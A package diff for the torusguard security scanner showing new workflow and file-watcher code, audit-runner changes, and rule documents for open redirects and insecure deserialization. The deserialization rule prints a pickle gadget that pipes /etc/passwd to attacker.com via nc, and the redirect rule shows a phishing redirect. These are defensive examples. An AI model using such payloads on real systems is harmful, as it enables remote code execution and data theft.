torusguard 2.1.0 → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (133) hide show
  1. package/.torusguard/.manifest.json +47 -5
  2. package/.torusguard/core/__init__.py +146 -0
  3. package/.torusguard/core/agent_roles.py +104 -0
  4. package/.torusguard/core/ast_walker.py +283 -0
  5. package/.torusguard/core/authorization.py +218 -0
  6. package/.torusguard/core/browser_verifier.py +128 -0
  7. package/.torusguard/core/bundle.py +141 -0
  8. package/.torusguard/core/call_graph.py +184 -0
  9. package/.torusguard/core/clustering.py +275 -0
  10. package/.torusguard/core/confidence.py +120 -0
  11. package/.torusguard/core/cross_file_taint.py +101 -0
  12. package/.torusguard/core/exploit_checker.py +317 -0
  13. package/.torusguard/core/formatter.py +351 -0
  14. package/.torusguard/core/governance.py +210 -0
  15. package/.torusguard/core/identity.py +104 -0
  16. package/.torusguard/core/import_resolver.py +91 -0
  17. package/.torusguard/core/incremental.py +102 -0
  18. package/.torusguard/core/lifecycle.py +137 -0
  19. package/.torusguard/core/models.py +425 -0
  20. package/.torusguard/core/parallel.py +56 -0
  21. package/.torusguard/core/parser.py +202 -0
  22. package/.torusguard/core/rechecker.py +107 -0
  23. package/.torusguard/core/replay_trace.py +178 -0
  24. package/.torusguard/core/rules_registry.py +131 -0
  25. package/.torusguard/core/run_folder.py +60 -0
  26. package/.torusguard/core/run_manager.py +163 -0
  27. package/.torusguard/core/runtime_evidence.py +175 -0
  28. package/.torusguard/core/runtime_validator.py +246 -0
  29. package/.torusguard/core/safety_gate.py +139 -0
  30. package/.torusguard/core/sarif.py +189 -0
  31. package/.torusguard/core/stack_profiler.py +184 -0
  32. package/.torusguard/core/symbol_table.py +91 -0
  33. package/.torusguard/core/taint.py +133 -0
  34. package/.torusguard/core/taint_graph.py +235 -0
  35. package/.torusguard/core/taint_rules.py +268 -0
  36. package/.torusguard/core/v070_reporter.py +102 -0
  37. package/.torusguard/core/v070_workflow.py +339 -0
  38. package/.torusguard/core/v6_reporter.py +180 -0
  39. package/.torusguard/core/v6_workflow.py +221 -0
  40. package/.torusguard/core/watcher.py +58 -0
  41. package/.torusguard/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
  42. package/.torusguard/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
  43. package/.torusguard/scripts/__pycache__/audit_runner.cpython-314.pyc +0 -0
  44. package/.torusguard/scripts/__pycache__/finding_scorer.cpython-314.pyc +0 -0
  45. package/.torusguard/scripts/__pycache__/rules_sync.cpython-314.pyc +0 -0
  46. package/.torusguard/scripts/audit_runner.py +108 -10
  47. package/.torusguard/scripts/finding_scorer.py +43 -13
  48. package/.torusguard/scripts/skill_profiler.py +26 -0
  49. package/.torusguard/skills/torusguard/SKILL.md +6 -2
  50. package/.torusguard/skills/torusguard-audit/SKILL.md +109 -84
  51. package/.torusguard/workflows/audit.md +21 -17
  52. package/README.md +19 -11
  53. package/package.json +7 -2
  54. package/skills/torusguard/SKILL.md +6 -2
  55. package/skills/torusguard/__pycache__/bootstrap.cpython-314.pyc +0 -0
  56. package/skills/torusguard/bootstrap.py +3 -3
  57. package/skills/torusguard/payload/.manifest.json +48 -7
  58. package/skills/torusguard/payload/core/__init__.py +146 -0
  59. package/skills/torusguard/payload/core/agent_roles.py +104 -0
  60. package/skills/torusguard/payload/core/ast_walker.py +283 -0
  61. package/skills/torusguard/payload/core/authorization.py +218 -0
  62. package/skills/torusguard/payload/core/browser_verifier.py +128 -0
  63. package/skills/torusguard/payload/core/bundle.py +141 -0
  64. package/skills/torusguard/payload/core/call_graph.py +184 -0
  65. package/skills/torusguard/payload/core/clustering.py +275 -0
  66. package/skills/torusguard/payload/core/confidence.py +120 -0
  67. package/skills/torusguard/payload/core/cross_file_taint.py +101 -0
  68. package/skills/torusguard/payload/core/exploit_checker.py +317 -0
  69. package/skills/torusguard/payload/core/formatter.py +351 -0
  70. package/skills/torusguard/payload/core/governance.py +210 -0
  71. package/skills/torusguard/payload/core/identity.py +104 -0
  72. package/skills/torusguard/payload/core/import_resolver.py +91 -0
  73. package/skills/torusguard/payload/core/incremental.py +102 -0
  74. package/skills/torusguard/payload/core/lifecycle.py +137 -0
  75. package/skills/torusguard/payload/core/models.py +425 -0
  76. package/skills/torusguard/payload/core/parallel.py +56 -0
  77. package/skills/torusguard/payload/core/parser.py +202 -0
  78. package/skills/torusguard/payload/core/rechecker.py +107 -0
  79. package/skills/torusguard/payload/core/replay_trace.py +178 -0
  80. package/skills/torusguard/payload/core/rules_registry.py +131 -0
  81. package/skills/torusguard/payload/core/run_folder.py +60 -0
  82. package/skills/torusguard/payload/core/run_manager.py +163 -0
  83. package/skills/torusguard/payload/core/runtime_evidence.py +175 -0
  84. package/skills/torusguard/payload/core/runtime_validator.py +246 -0
  85. package/skills/torusguard/payload/core/safety_gate.py +139 -0
  86. package/skills/torusguard/payload/core/sarif.py +189 -0
  87. package/skills/torusguard/payload/core/stack_profiler.py +184 -0
  88. package/skills/torusguard/payload/core/symbol_table.py +91 -0
  89. package/skills/torusguard/payload/core/taint.py +133 -0
  90. package/skills/torusguard/payload/core/taint_graph.py +235 -0
  91. package/skills/torusguard/payload/core/taint_rules.py +268 -0
  92. package/skills/torusguard/payload/core/v070_reporter.py +102 -0
  93. package/skills/torusguard/payload/core/v070_workflow.py +339 -0
  94. package/skills/torusguard/payload/core/v6_reporter.py +180 -0
  95. package/skills/torusguard/payload/core/v6_workflow.py +221 -0
  96. package/skills/torusguard/payload/core/watcher.py +58 -0
  97. package/skills/torusguard/payload/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
  98. package/skills/torusguard/payload/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
  99. package/skills/torusguard/payload/rules/container/TG-CONT-001-root-user-execution.md +50 -50
  100. package/skills/torusguard/payload/rules/container/TG-CONT-002-docker-socket-mount.md +47 -47
  101. package/skills/torusguard/payload/rules/container/TG-CONT-003-privileged-container-mode.md +53 -53
  102. package/skills/torusguard/payload/rules/container/TG-CONT-004-build-arg-secret-exposure.md +43 -43
  103. package/skills/torusguard/payload/rules/git/TG-GIT-001-historical-secret-in-git-commit.md +44 -44
  104. package/skills/torusguard/payload/rules/git/TG-GIT-002-plaintext-credentials-in-git-config.md +41 -41
  105. package/skills/torusguard/payload/rules/git/TG-GIT-003-sensitive-tracked-file-gitignore-breach.md +40 -40
  106. package/skills/torusguard/payload/rules/rag/TG-RAG-001-untrusted-rag-context-injection.md +72 -72
  107. package/skills/torusguard/payload/rules/rag/TG-RAG-002-autonomous-llm-tool-unsandboxed-call.md +51 -51
  108. package/skills/torusguard/payload/rules/rag/TG-RAG-003-unpartitioned-vector-tenant-lookup.md +51 -51
  109. package/skills/torusguard/payload/rules/redos/TG-REDOS-001-catastrophic-exponential-backtracking.md +46 -46
  110. package/skills/torusguard/payload/rules/redos/TG-REDOS-002-unbounded-nested-quantifier.md +43 -43
  111. package/skills/torusguard/payload/scripts/audit_runner.py +108 -10
  112. package/skills/torusguard/payload/scripts/finding_scorer.py +43 -13
  113. package/skills/torusguard/payload/skills/torusguard/SKILL.md +6 -2
  114. package/skills/torusguard/payload/skills/torusguard/bootstrap.py +3 -3
  115. package/skills/torusguard/payload/skills/torusguard-ai-guard/SKILL.md +95 -95
  116. package/skills/torusguard/payload/skills/torusguard-audit/SKILL.md +109 -84
  117. package/skills/torusguard/payload/skills/torusguard-container/SKILL.md +94 -94
  118. package/skills/torusguard/payload/skills/torusguard-git-mine/SKILL.md +92 -92
  119. package/skills/torusguard/payload/skills/torusguard-ocr-scan/SKILL.md +94 -94
  120. package/skills/torusguard/payload/skills/torusguard-redos/SKILL.md +91 -91
  121. package/skills/torusguard/payload/workflows/ai-guard.md +31 -31
  122. package/skills/torusguard/payload/workflows/audit.md +21 -17
  123. package/skills/torusguard/payload/workflows/container.md +29 -29
  124. package/skills/torusguard/payload/workflows/git-mine.md +25 -25
  125. package/skills/torusguard/payload/workflows/ocr-scan.md +25 -25
  126. package/skills/torusguard/payload/workflows/redos.md +27 -27
  127. package/skills/torusguard/payload/workflows/torusguard-audit.md +35 -55
  128. package/skills/torusguard/references/csharp-security.md +41 -41
  129. package/skills/torusguard/references/go-security.md +41 -41
  130. package/skills/torusguard/references/java-security.md +40 -40
  131. package/skills/torusguard/references/polyglot-security-matrix.md +25 -25
  132. package/skills/torusguard/references/rust-security.md +40 -40
  133. package/skills/torusguard-audit/SKILL.md +107 -83
@@ -0,0 +1,221 @@
1
+ """
2
+ TorusGuard v6 Governed Remediation Workflow Controller
3
+ Coordinates the complete v6 workflow:
4
+ 1. Scan & Stable Finding Identity
5
+ 2. Root-Cause Clustering
6
+ 3. Structured Remediation Bundles
7
+ 4. Minimal Patch Governance
8
+ 5. Targeted Recheck & Regression Verification
9
+ 6. Run Folder Artifact Emission & SARIF Export
10
+ """
11
+
12
+ from pathlib import Path
13
+ from typing import List, Dict, Any, Optional, Tuple
14
+
15
+ from core.identity import IdentityEngine
16
+ from core.clustering import ClusteringEngine, RootCauseCluster
17
+ from core.bundle import BundleManager, RemediationBundle
18
+ from core.governance import PatchGovernor, PatchPolicyDecision
19
+ from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
20
+ from core.run_manager import RunManager
21
+ from core.sarif import SarifExporter
22
+ from core.v6_reporter import V6Reporter
23
+
24
+
25
+ class V6Workflow:
26
+ """
27
+ Unified controller for TorusGuard v6 governed remediation and recheck operations.
28
+ """
29
+
30
+ def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
31
+ self.target_root = target_root or Path(".")
32
+ self.output_base = output_base or Path(".torusguard/runs")
33
+
34
+ def execute_audit(
35
+ self,
36
+ raw_findings: List[Dict[str, Any]],
37
+ target_name: str = "workspace",
38
+ run_id: Optional[str] = None,
39
+ export_sarif: bool = True,
40
+ ) -> RunManager:
41
+ """
42
+ Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
43
+ """
44
+ run_mgr = RunManager(
45
+ base_dir=self.output_base,
46
+ target_name=target_name,
47
+ command="audit",
48
+ run_id=run_id,
49
+ )
50
+
51
+ # 1. Attach Stable Finding Identifiers
52
+ enriched_findings = []
53
+ evidence_list = []
54
+
55
+ for f in raw_findings:
56
+ rule_id = f.get("rule_id", "TG-GENERIC")
57
+ target = f.get("target", {})
58
+ file_path = target.get("file_path", "unknown")
59
+ snippet = f.get("evidence", {}).get("code_snippet", "")
60
+ sink = f.get("sink_signature")
61
+ framework = f.get("framework_marker")
62
+
63
+ fp = IdentityEngine.generate_identity(
64
+ rule_id=rule_id,
65
+ file_path=file_path,
66
+ code_snippet=snippet,
67
+ sink_signature=sink,
68
+ framework_marker=framework,
69
+ root_path=self.target_root,
70
+ )
71
+
72
+ item = dict(f)
73
+ item["finding_id"] = fp.fingerprint_id
74
+ item["fingerprint_id"] = fp.fingerprint_id
75
+ item["region_hash"] = fp.region_hash
76
+ enriched_findings.append(item)
77
+
78
+ evidence_list.append({
79
+ "finding_id": fp.fingerprint_id,
80
+ "rule_id": rule_id,
81
+ "file_path": file_path,
82
+ "region_hash": fp.region_hash,
83
+ "code_snippet": snippet,
84
+ })
85
+
86
+ # 2. Cluster Findings by Root Cause
87
+ clusters = ClusteringEngine.cluster_findings(enriched_findings)
88
+ cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
89
+
90
+ for ef in enriched_findings:
91
+ ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
92
+
93
+ # 3. Render and Write Standard Artifacts
94
+ summary_md = V6Reporter.render_summary(
95
+ target_name=target_name,
96
+ run_id=run_mgr.run_id,
97
+ findings=enriched_findings,
98
+ clusters=clusters,
99
+ )
100
+ findings_md = V6Reporter.render_findings(enriched_findings)
101
+
102
+ run_mgr.write_summary(summary_md)
103
+ run_mgr.write_findings(findings_md)
104
+ run_mgr.write_evidence(evidence_list)
105
+
106
+ # 4. Optional SARIF export
107
+ if export_sarif:
108
+ sarif_dict = SarifExporter.generate_sarif(
109
+ findings=enriched_findings,
110
+ clusters=[c.to_dict() for c in clusters],
111
+ )
112
+ run_mgr.write_sarif(sarif_dict)
113
+
114
+ # 5. Write Run Manifest
115
+ status_counts = {
116
+ "total_findings": len(enriched_findings),
117
+ "confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
118
+ "high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
119
+ "needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
120
+ "remediated": 0,
121
+ "verified_fixed": 0,
122
+ "regressed": 0,
123
+ }
124
+ run_mgr.write_manifest(status_counts=status_counts)
125
+
126
+ return run_mgr
127
+
128
+ def execute_harden(
129
+ self,
130
+ run_mgr: RunManager,
131
+ findings: List[Dict[str, Any]],
132
+ ) -> List[RemediationBundle]:
133
+ """
134
+ Executes Phase 3: Generates structured remediation bundles.
135
+ """
136
+ bundles = []
137
+ for f in findings:
138
+ b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
139
+ b.write_to_directory(run_mgr.bundles_dir)
140
+ bundles.append(b)
141
+
142
+ remediation_md = V6Reporter.render_remediation(bundles)
143
+ run_mgr.write_remediation(remediation_md)
144
+ return bundles
145
+
146
+ def execute_apply(
147
+ self,
148
+ run_mgr: RunManager,
149
+ bundles: List[RemediationBundle],
150
+ governor: Optional[PatchGovernor] = None,
151
+ ) -> List[Tuple[str, PatchPolicyDecision]]:
152
+ """
153
+ Executes Phase 4: Evaluates minimal patch governance policies and plans application.
154
+ """
155
+ gov = governor or PatchGovernor()
156
+ decisions = []
157
+ changed_files = set()
158
+ diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
159
+
160
+ for b in bundles:
161
+ target_f = b.target_files[0] if b.target_files else "app.py"
162
+ decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
163
+ decisions.append((b.finding_id, decision))
164
+
165
+ if decision.allowed_auto_apply:
166
+ changed_files.update(decision.file_list)
167
+ diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
168
+ diff_summary_lines.append("```diff")
169
+ diff_summary_lines.append(b.proposed_diff.strip())
170
+ diff_summary_lines.append("```\n")
171
+
172
+ apply_plan_md = V6Reporter.render_apply_plan(decisions)
173
+ run_mgr.write_apply_plan(apply_plan_md)
174
+ run_mgr.write_diff_summary("\n".join(diff_summary_lines))
175
+ run_mgr.write_changed_files(list(changed_files))
176
+
177
+ return decisions
178
+
179
+ def execute_recheck(
180
+ self,
181
+ run_mgr: RunManager,
182
+ recheck_scenarios: List[Dict[str, Any]],
183
+ ) -> List[TargetedRecheckResult]:
184
+ """
185
+ Executes Phase 5: Targeted differential rechecks of impacted files.
186
+ """
187
+ results = []
188
+ for sc in recheck_scenarios:
189
+ r = TargetedRechecker.verify_finding(
190
+ finding_id=sc.get("finding_id", "fnd-01"),
191
+ rule_id=sc.get("rule_id", "TG-GENERIC"),
192
+ target_file=sc.get("target_file", "app.py"),
193
+ original_code_snippet=sc.get("orig_snippet", ""),
194
+ post_fix_code_snippet=sc.get("post_snippet", ""),
195
+ is_safe_pattern_present=sc.get("is_safe", True),
196
+ is_unsafe_pattern_present=sc.get("is_unsafe", False),
197
+ introduced_new_flaws=sc.get("regressions"),
198
+ requires_manual_context=sc.get("manual_context", False),
199
+ )
200
+ results.append(r)
201
+
202
+ recheck_md = V6Reporter.render_recheck(results)
203
+ run_mgr.write_recheck(recheck_md)
204
+
205
+ # Update Manifest counts
206
+ fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
207
+ regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
208
+
209
+ run_mgr.write_manifest(
210
+ status_counts={
211
+ "total_findings": len(results),
212
+ "confirmed": 0,
213
+ "high_confidence": 0,
214
+ "needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
215
+ "remediated": fixed_count,
216
+ "verified_fixed": fixed_count,
217
+ "regressed": regressed_count,
218
+ }
219
+ )
220
+
221
+ return results
@@ -0,0 +1,58 @@
1
+ """
2
+ TorusGuard Continuous File Watcher
3
+ Monitors target workspace files for changes, debounces filesystem events,
4
+ and triggers continuous differential security re-scans.
5
+ """
6
+
7
+ from pathlib import Path
8
+ from typing import Dict, List, Set, Callable, Optional
9
+ import time
10
+
11
+
12
+ class FileWatcher:
13
+ """Lightweight polling and mtime watcher with debouncing."""
14
+
15
+ def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
16
+ self.target_root = target_root.resolve()
17
+ self.interval = check_interval_sec
18
+ self.file_mtimes: Dict[str, float] = {}
19
+
20
+ def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
21
+ exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
22
+ snapshot: Dict[str, float] = {}
23
+ try:
24
+ for p in self.target_root.rglob("*"):
25
+ if p.is_file() and p.suffix.lower() in exts:
26
+ if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
27
+ continue
28
+ try:
29
+ snapshot[str(p)] = p.stat().st_mtime
30
+ except Exception:
31
+ pass
32
+ except Exception:
33
+ pass
34
+ return snapshot
35
+
36
+ def watch(
37
+ self,
38
+ on_change_callback: Callable[[List[str]], None],
39
+ stop_condition: Optional[Callable[[], bool]] = None
40
+ ) -> None:
41
+ """Polls for file modifications and triggers `on_change_callback`."""
42
+ self.file_mtimes = self.get_snapshot()
43
+
44
+ while True:
45
+ if stop_condition and stop_condition():
46
+ break
47
+
48
+ time.sleep(self.interval)
49
+ current_snapshot = self.get_snapshot()
50
+
51
+ changed_files: List[str] = []
52
+ for path_str, mtime in current_snapshot.items():
53
+ if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
54
+ changed_files.append(path_str)
55
+
56
+ if changed_files:
57
+ self.file_mtimes = current_snapshot
58
+ on_change_callback(changed_files)
@@ -0,0 +1,53 @@
1
+ ---
2
+ id: TG-INPUT-007
3
+ title: Unvalidated URL Redirection (Open Redirect)
4
+ category: input-validation
5
+ severity: Medium
6
+ confidence: High
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ - express
12
+ - nextjs
13
+ cwe: CWE-601
14
+ asvs_v4: V5.1.5
15
+ nist_ssdf: PW.5.1
16
+ ---
17
+
18
+ # TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
19
+
20
+ ## 🚨 Problem Statement
21
+ Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
22
+
23
+ ---
24
+
25
+ ## 💥 Adversarial Threat & Exploitation
26
+ An attacker generates a legitimate-looking link:
27
+ ```http
28
+ GET /login?next=https://evil-phishing.com/account HTTP/1.1
29
+ Host: secure-bank.com
30
+ ```
31
+ If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
32
+
33
+ ---
34
+
35
+ ## 🛠️ Framework-Native Remediations
36
+
37
+ ### 🐍 Django / Flask
38
+ #### ❌ Unsafe Pattern
39
+ ```python
40
+ return redirect(request.GET.get("next"))
41
+ ```
42
+
43
+ #### ✅ Safe Remediation
44
+ ```python
45
+ from urllib.parse import urlparse, urljoin
46
+ from django.utils.http import url_has_allowed_host_and_scheme
47
+
48
+ def safe_redirect(request):
49
+ next_url = request.GET.get("next", "/")
50
+ if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
51
+ return redirect(next_url)
52
+ return redirect("/")
53
+ ```
@@ -0,0 +1,52 @@
1
+ ---
2
+ id: TG-INPUT-008
3
+ title: Insecure Object Deserialization
4
+ category: input-validation
5
+ severity: Critical
6
+ confidence: Confirmed
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ - stdlib
12
+ cwe: CWE-502
13
+ asvs_v4: V5.5.1
14
+ nist_ssdf: PW.5.1
15
+ ---
16
+
17
+ # TG-INPUT-008: Insecure Object Deserialization
18
+
19
+ ## 🚨 Problem Statement
20
+ Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
21
+
22
+ ---
23
+
24
+ ## 💥 Adversarial Threat & Exploitation
25
+ An attacker submits a pickled payload containing a crafted gadget:
26
+ ```python
27
+ class Exploit(object):
28
+ def __reduce__(self):
29
+ return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
30
+ ```
31
+ When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
32
+
33
+ ---
34
+
35
+ ## 🛠️ Framework-Native Remediations
36
+
37
+ ### 🐍 Python
38
+ #### ❌ Unsafe Pattern
39
+ ```python
40
+ data = pickle.loads(request.body)
41
+ config = yaml.load(user_upload, Loader=yaml.Loader)
42
+ ```
43
+
44
+ #### ✅ Safe Remediation
45
+ ```python
46
+ import json
47
+ import yaml
48
+
49
+ # Safe: Standard structured serialization formats
50
+ data = json.loads(request.body)
51
+ config = yaml.safe_load(user_upload)
52
+ ```
@@ -42,8 +42,16 @@ def get_ist_now() -> datetime.datetime:
42
42
 
43
43
  # ─── UI Formatter Bridge ──────────────────────────────────────────────────────
44
44
  scripts_dir = Path(__file__).resolve().parent
45
+ tg_root = Path(__file__).resolve().parent.parent
46
+ project_root = Path(__file__).resolve().parent.parent.parent
45
47
  if str(scripts_dir) not in sys.path:
46
48
  sys.path.insert(0, str(scripts_dir))
49
+ if str(tg_root) not in sys.path:
50
+ sys.path.insert(0, str(tg_root))
51
+ if str(project_root) not in sys.path:
52
+ sys.path.insert(0, str(project_root))
53
+
54
+
47
55
 
48
56
  try:
49
57
  import term_ui as tui
@@ -1240,9 +1248,10 @@ def scan_file(file_path: Path, target_root: Path) -> List[Dict[str, Any]]:
1240
1248
  return findings
1241
1249
 
1242
1250
 
1243
- def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
1251
+ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path, taint_paths: Optional[List[Any]] = None) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
1244
1252
  """
1245
- Score each finding using finding_scorer.py and persistent memory patterns.
1253
+ Score each finding using finding_scorer.py, persistent memory patterns,
1254
+ and taint dataflow analysis.
1246
1255
  Returns (scored_findings, clusters_map).
1247
1256
  """
1248
1257
  try:
@@ -1253,6 +1262,15 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
1253
1262
  scored = []
1254
1263
  clusters: Dict[str, List[Dict[str, Any]]] = {}
1255
1264
 
1265
+ # Map taint paths by (file_path, line_number)
1266
+ taint_by_loc: Dict[Tuple[str, int], Any] = {}
1267
+ if taint_paths:
1268
+ for tp in taint_paths:
1269
+ sink_node = getattr(tp, "sink", None)
1270
+ if sink_node:
1271
+ norm_p = getattr(sink_node, "file_path", "").replace("\\", "/")
1272
+ taint_by_loc[(norm_p, getattr(sink_node, "line_number", 0))] = tp
1273
+
1256
1274
  # Phase 1d: Pre-compute cross-file corroboration bonus
1257
1275
  # If multiple rule families flag the same file, each finding gets +5 confidence
1258
1276
  file_rule_families: Dict[str, set] = {}
@@ -1267,6 +1285,14 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
1267
1285
  band = "High Confidence"
1268
1286
  factors = {}
1269
1287
 
1288
+ # Check for correlated taint path
1289
+ matching_tp = taint_by_loc.get((f["file_path"], f["line_number"]))
1290
+ is_taint_confirmed = matching_tp is not None
1291
+ taint_depth = getattr(matching_tp, "depth", None) if matching_tp else None
1292
+ is_sanitized = getattr(matching_tp, "is_sanitized", False) if matching_tp else False
1293
+ if matching_tp and hasattr(matching_tp, "to_dict"):
1294
+ f["taint_path"] = matching_tp.to_dict()
1295
+
1270
1296
  if finding_scorer:
1271
1297
  try:
1272
1298
  # Phase 1d: Dynamic evidence quality based on rule precision
@@ -1291,7 +1317,11 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
1291
1317
  manual_review_status=mr,
1292
1318
  rule_id=f["rule_id"],
1293
1319
  file_path=f["file_path"],
1294
- root_dir=target_root
1320
+ root_dir=target_root,
1321
+ taint_path_confirmed=is_taint_confirmed,
1322
+ taint_depth=taint_depth,
1323
+ sanitizer_present=is_sanitized,
1324
+ rule_severity=f.get("severity", "High")
1295
1325
  )
1296
1326
  score = s
1297
1327
  band = b
@@ -1315,6 +1345,7 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
1315
1345
  return scored, clusters
1316
1346
 
1317
1347
 
1348
+
1318
1349
  def emit_run_artifacts(run_folder: Path, scored_findings: List[Dict[str, Any]], clusters: Dict[str, List[Dict[str, Any]]], target_root: Path) -> None:
1319
1350
  """Generate findings.json, findings.md, and summary.md into run folder."""
1320
1351
  now_ist = get_ist_now()
@@ -1501,7 +1532,14 @@ def run_watch_mode(target_root: Path, severity_floor: str = "medium", json_outpu
1501
1532
  print(f"\n {YELLOW}🛑 Watch mode stopped.{RESET}\n")
1502
1533
 
1503
1534
 
1504
- def execute_audit(target_root: Path, severity_floor: str = "medium", json_output: bool = False, include_tests: bool = False) -> Dict[str, Any]:
1535
+ def execute_audit(
1536
+ target_root: Path,
1537
+ severity_floor: str = "medium",
1538
+ json_output: bool = False,
1539
+ include_tests: bool = False,
1540
+ incremental: bool = False,
1541
+ use_taint: bool = True
1542
+ ) -> Dict[str, Any]:
1505
1543
  """Execute the full TorusGuard static security audit."""
1506
1544
  start_time = time.perf_counter()
1507
1545
  target_root = target_root.resolve()
@@ -1522,14 +1560,64 @@ def execute_audit(target_root: Path, severity_floor: str = "medium", json_output
1522
1560
  except Exception:
1523
1561
  pass
1524
1562
 
1525
- # 2. Collect files & scan
1563
+ # 2. Collect files to scan
1526
1564
  files = find_files_to_scan(target_root, include_tests=include_tests)
1527
1565
  all_findings = []
1528
- for f in files:
1529
- all_findings.extend(scan_file(f, target_root))
1530
1566
 
1531
- # 3. Score & Cluster
1532
- scored_findings, clusters = score_and_cluster_findings(all_findings, target_root)
1567
+ inc_scanner = None
1568
+ files_to_scan = files
1569
+ unchanged_files = []
1570
+
1571
+ if incremental:
1572
+ try:
1573
+ from core.incremental import IncrementalScanner
1574
+ inc_scanner = IncrementalScanner(target_root)
1575
+ files_to_scan, unchanged_files = inc_scanner.get_changed_files(files)
1576
+ # Rehydrate findings for unchanged files
1577
+ for uf in unchanged_files:
1578
+ all_findings.extend(inc_scanner.get_cached_findings(uf))
1579
+ except Exception:
1580
+ files_to_scan = files
1581
+ unchanged_files = []
1582
+
1583
+ # Parallel or sequential scan on files_to_scan
1584
+ new_findings = []
1585
+ try:
1586
+ from core.parallel import ParallelAuditExecutor
1587
+ executor = ParallelAuditExecutor()
1588
+ new_findings = executor.scan_files_parallel(files_to_scan, lambda f: scan_file(f, target_root))
1589
+ except Exception:
1590
+ for f in files_to_scan:
1591
+ new_findings.extend(scan_file(f, target_root))
1592
+
1593
+ all_findings.extend(new_findings)
1594
+
1595
+ # Update cache if incremental scanner is active
1596
+ if inc_scanner:
1597
+ # Group new findings by file
1598
+ file_to_findings: Dict[Path, List[Dict[str, Any]]] = {f: [] for f in files_to_scan}
1599
+ for nf in new_findings:
1600
+ raw_fp = nf.get("file_path", "")
1601
+ target_f = target_root / raw_fp
1602
+ if target_f in file_to_findings:
1603
+ file_to_findings[target_f].append(nf)
1604
+ for target_f, f_list in file_to_findings.items():
1605
+ inc_scanner.update_file_cache(target_f, f_list)
1606
+ inc_scanner.save_cache()
1607
+
1608
+ # 2.5 Taint Dataflow Analysis (if enabled)
1609
+ taint_paths = []
1610
+ if use_taint:
1611
+ try:
1612
+ from core.cross_file_taint import CrossFileTaintAnalyzer
1613
+ analyzer = CrossFileTaintAnalyzer(target_root)
1614
+ # Analyze target files (capped to 200 files for high responsiveness)
1615
+ taint_paths = analyzer.analyze_project(files[:200])
1616
+ except Exception:
1617
+ taint_paths = []
1618
+
1619
+ # 3. Score & Cluster with Taint Evidence
1620
+ scored_findings, clusters = score_and_cluster_findings(all_findings, target_root, taint_paths=taint_paths)
1533
1621
 
1534
1622
  # 4. Allocate run folder
1535
1623
  runs_dir = target_root / ".torusguard" / "runs"
@@ -1595,6 +1683,8 @@ def main():
1595
1683
  parser.add_argument("--scope", "-s", help="Alternative path to target project")
1596
1684
  parser.add_argument("--severity", choices=["critical", "high", "medium", "low"], default="medium", help="Severity floor")
1597
1685
  parser.add_argument("--watch", "-w", action="store_true", help="Continuous watch mode: re-scan on file save")
1686
+ parser.add_argument("--incremental", "-i", action="store_true", help="Incremental mode: only scan modified files")
1687
+ parser.add_argument("--no-taint", action="store_true", help="Disable taint-aware dataflow analysis")
1598
1688
  parser.add_argument("--sarif", action="store_true", help="Automatically export findings to OASIS SARIF v2.1.0")
1599
1689
  parser.add_argument("--sarif-out", help="Output file path for SARIF export")
1600
1690
  parser.add_argument("--json", action="store_true", help="Output raw JSON")
@@ -1607,10 +1697,18 @@ def main():
1607
1697
  run_watch_mode(target, severity_floor=args.severity, json_output=args.json, include_tests=args.include_tests, sarif=args.sarif, sarif_out=args.sarif_out)
1608
1698
  sys.exit(0)
1609
1699
 
1610
- res = execute_audit(target, severity_floor=args.severity, json_output=args.json, include_tests=args.include_tests)
1700
+ res = execute_audit(
1701
+ target,
1702
